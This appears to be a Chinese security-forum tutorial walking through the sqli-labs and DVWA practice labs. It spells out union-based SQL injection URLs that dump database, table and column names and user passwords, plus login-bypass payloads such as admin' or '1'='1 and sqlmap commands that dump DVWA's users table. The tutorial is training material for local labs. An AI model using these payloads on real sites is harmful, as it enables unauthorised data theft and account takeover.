用户
搜索
  • TA的每日心情
    开心
    昨天 07:40
  • 签到天数: 66 天

    连续签到: 66 天

    [LV.6]常住居民II

    i春秋-见习白帽

    Rank: 3Rank: 3

    36

    主题

    79

    帖子

    1704

    魔法币
    收听
    0
    粉丝
    4
    注册时间
    2020-10-2
    发表于 2021-4-8 19:27:46 15107
    本帖最后由 Johnson666 于 2021-4-8 22:32 编辑

    一、搭建sqllab的实验环境

    (实验源码在压缩包sqllab或者可以自己去Github上下载,下载地址:https://github.com/Audi-1/sqli-labs
    1. 在安装前,需要做一个准备工作,我们要先去做一个PHP+Mysql的环境搭建。这时就需要用到我们的phpstudy了,phpStudy是一个PHP调试环境的程序集成包。恰好我们可以用到"PHP+Mysql+Apache"。之前也有介绍如何安装。

    2、将下载的SQLi-Labs.zip 解压到phpstudy网站根目录下,即WWW目录下面

    3、修改 db-creds.inc里代码如下:
    配置文件路径是在sqli-labs\sql-connections下面。
    <?php
    //give your mysql connection username n password
    $dbuser ='root';
    $dbpass ='root';
    $dbname ="security";
    $host = 'localhost';
    $dbname1 = "challenges";
    

    因为phpstudy默认的mysql数据库地址是“127.0.0.1 或 localhost",用户名和密码都是"root"。主要是修改’$dbpass‘为root,这里很重要,修改后自然是需要保存文件的,这个不用说相信大家也能知道。

    4、浏览器打开“http://127.0.0.1/sqli-labs/”访问首页,并点击“Setup/reset Database”以创建数据库,创建表并填充数据。
    1.png

    2.png

    5、现在浏览器打开 "http://127.0.0.1/sqli-labs/"向下翻,就可以看到有很多不同的关卡了。sqli-labs它是只专注SQL注入漏洞的,如果你只想主攻这个SQL注入方向,此平台真的是非常的给力

    二、先开始讲前四关

    在开始之前,首先要弄清楚一个东西,就是注入的分类。明白了分类之后,再进行测试时就会起到事半功倍的效果。
    常见的SQL注入类型有:数字型注入和字符型注入。也有人把类型分得更多、更细。但是不管注入的类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库中执行,利用数据库来获取更多的信息或者更大的权限。

    我这里用的是phpstudy,所以数据库是MYSQL的。由于以下的环境都是MySQL数据库,所以先了解点MySQL有关的知识:
    5.0版本以下是多用户单操作
    5.0版本以上是多用户多操作
    在MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
    在MySQL5.0以上,MySQL中默认添加了一个名为information_schema 的数据库,该数据库中的表都 是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
    当尝试删除该数据库时,会爆出以下的错误

    3.png

    mysql中注释符:
    单行注释:#(%23),--,--+
    多行注释:/**/
    information_schema数据库中三个很重要的表:
    information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名
    information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名
    information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
    Mysql5.0版本以上有一个系统数据库information_schema,它存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程:
    总体思路:

    4.png

    语句:
    爆数据库:
    select schema_name from information_schema.schemata
    爆某库的数据表:

    select table_name from information_schema.tables where table_schema=’xxxxx’[size=12.6667px]
    爆某表的所有列:

    select column_name from information_schema.columns where table_name=’xxxxx’
    [size=12.6667px]

    爆某列的内容:

    select 列名 from 那个库名.那个表名


    Less-1
    我们可以在http://127.0.0.1/sqli-labs-master/Less-1/?id=1后面直接添加一个’,来看一下效果:

    5.png

    从上述错误当中,我们可以看到提交到sql中的1’在经过sql语句构造后形成1' LIMIT0,1,多加了一个’ 。这种方式就是从错误信息中得到我们所需要的信息。
    那我们接下来如何将多余的’去掉呢?
    尝试在后面加上%23,即#(或者也可以加--+)

    6.png

    这时构造的sql语句就成了这样:

    select  where id='1'#' LIMIT 0,1
    [size=12.6667px]
    #把后面的都注释掉了,所以就是会产生上图中的效果,正常返回了数据。
    此处可以利用order by。Orderby对前面的数据进行排序,这里用二分法发现有三列数据,我们就只能用order by 3,超过3就会报错。
    二分法:
    先取order by 5,发现不行

    7.png

    然后取一半,取个3,发现正常返回数据

    8.png

    那就取个4再试试,发现也不行,那就是有三列数据了

    9.png

    然后判断出此处有三列数据后,就要使用union联合注入了。union的作用是将两个sql语句进行联合。强调一点:union前后的两个sql语句的选择列数要相同才可以。union all与union 的区别是增加了去重的功能。

    http://127.0.0.1/sqllib/Less-1/?id=-1’ union select 1,2,3--+
    [size=12.6667px]
    当id的数据在数据库中不存在时,(此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。
    输入id=-1时,将后面的语句的内容显示出来

    10.png

    否则输入id=1时,前一个语句选择的内容不为空,就不会将后面的语句的内容显示出来

    11.png

    爆数据库:

    http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+
    [size=12.6667px]
    此时的sql语句为:

    SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
    [size=12.6667px]
    12.png

    爆security数据库的数据表:

    http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
    [size=12.6667px]
    此时的sql语句为:

    SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1
    [size=12.6667px]
    13.png

    爆users表的列:

    http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+
    [size=12.6667px]
    此时的sql语句为:

    SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+ LIMIT 0,1
    [size=12.6667px]
    14.png

    如果后面的列看不到可以用burp来

    15.png

    爆数据:

    http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+
    [size=12.6667px]
    此时的sql语句为:

    SELECT * FROM users WHERE id=’-1’union select 1,username,password from users where id=2--+ LIMIT 0,1
    [size=12.6667px]
    16.png

    其中Less1-Less4都可以利用上述union操作进行注入。

    这里讲讲其中的group_concat()函数和concat_ws()函数
    group_concat()函数:返回一个字符串结果,该结果由分组中的值连接组合而成。
    例子:
    没有使用group_concat()函数

    17.png

    使用了group_concat()函数

    18.png

    concat_ws()函数:代表 CONCAT With Separator,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL值。
    就像上面在爆数据的时候如果不使用这个函数,那得一个一个爆,很麻烦;而使用函数的话就可以全部爆出来
    方式1:使用group_concat()函数,这样得一个用户名对一个账号的自己比对,很累
    sql语句:
    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(username),group_concat(password) from users--+

    19.png

    方式2:使用group_concat()函数和concat_ws()函数联动,concat_ws()函数的使用语法为:CONCAT_WS(参数之间的分隔符,str1,str2,…)。这样直接帮你把用户名和相对应的密码对应好了
    sql语句:
    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(concat_ws('___',username,password)),3 from users--+

    20.png

    所以我觉得方式2更好

    拓展:
    select database():查看当前选择(连接)的数据库
    21.png

    select user():查看数据库用户名
    22.png

    select version():查看数据库版本
    23.png


    三、使用万能密码登录DVWA靶机的爆破模块

    payload:admin' or '1' ='1,密码随意

    24.png

    payload:admin' or '1,密码随意

    25.png

    payload:admin' or 1='1,密码随意

    26.png

    万能密码原理:
    构造数据库操作命令的语句:
        select * from admin where user=‘$name’ and password=‘$pwd’
    当提交用户名admin,密码123456时:
        select * from admin where user=‘admin' and password=‘123456’
    当提交用户名admin,密码1’ or ‘1’=‘1时:
        select * from admin where user=‘admin’ and password=‘1’or ‘1’=‘1’
    当AND和OR运算符同时出现时,先进行AND运算,再进行OR运算, 而‘1’=‘1’恒成立,因此只要数据库中有记录,返回的结果集一定不为空,即登录必然成功。


    四、使用Kali Linux上的Sqlmap工具获取DVWA网站的数据库信息

    使用Sqlmap工具获取DVWA网站的数据库信息
    1.先将dvwa的安全等级调为low,我这里通过修改cookie的方式修改

    27.png

    2.因为dvwa需要登录,所以需要配合burp来完成注入。
    burp打开,然后dvwa页面输入正确的用户名和密码,点击登录 ,在存在sql注入的页面抓包,把burp中的这个请求包复制为txt,然后传到kali里,我是传到/root下面
    注意:因为是windows上的dvwa,用kali的sqlmap扫描,所以不能用回环地址127.0.0.1哦

    28.png

    29.png

    然后敲“sqlmap -r /root/1.txt”,发现存在sql注入

    30.png

    爆数据库:
    sqlmap -r /root/1.txt --dbs

    31.png

    爆数据表:
    sqlmap -r /root/1.txt -D "dvwa"--tables

    32.png

    爆数据列:
    sqlmap -r /root/1.txt -D "dvwa"-T "users" –columns                                    

    33.png

    爆数据:
    sqlmap -r /root/1.txt -D "dvwa"-T "users" -C user –dump

    34.png

    五、使用椰树工具获取DVWA网站的数据库信息

    1.先将dvwa的安全等级调为low,我这里通过修改cookie的方式修改

    35.png

    2.椰树工具开一开,扫它

    36.png

    右键SQL injection POC,然后点击“获取信息”

    37.png

    然后点到“数据库”,依次点击“表名”、“字段”

    38.png

    “字段”点完,然后下面的“行从1到2”自行修改,随便修改一个很大的值,它会默认帮你调整成这个最大的行数,然后点“获取数据”
    39.png



    师傅TQL
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册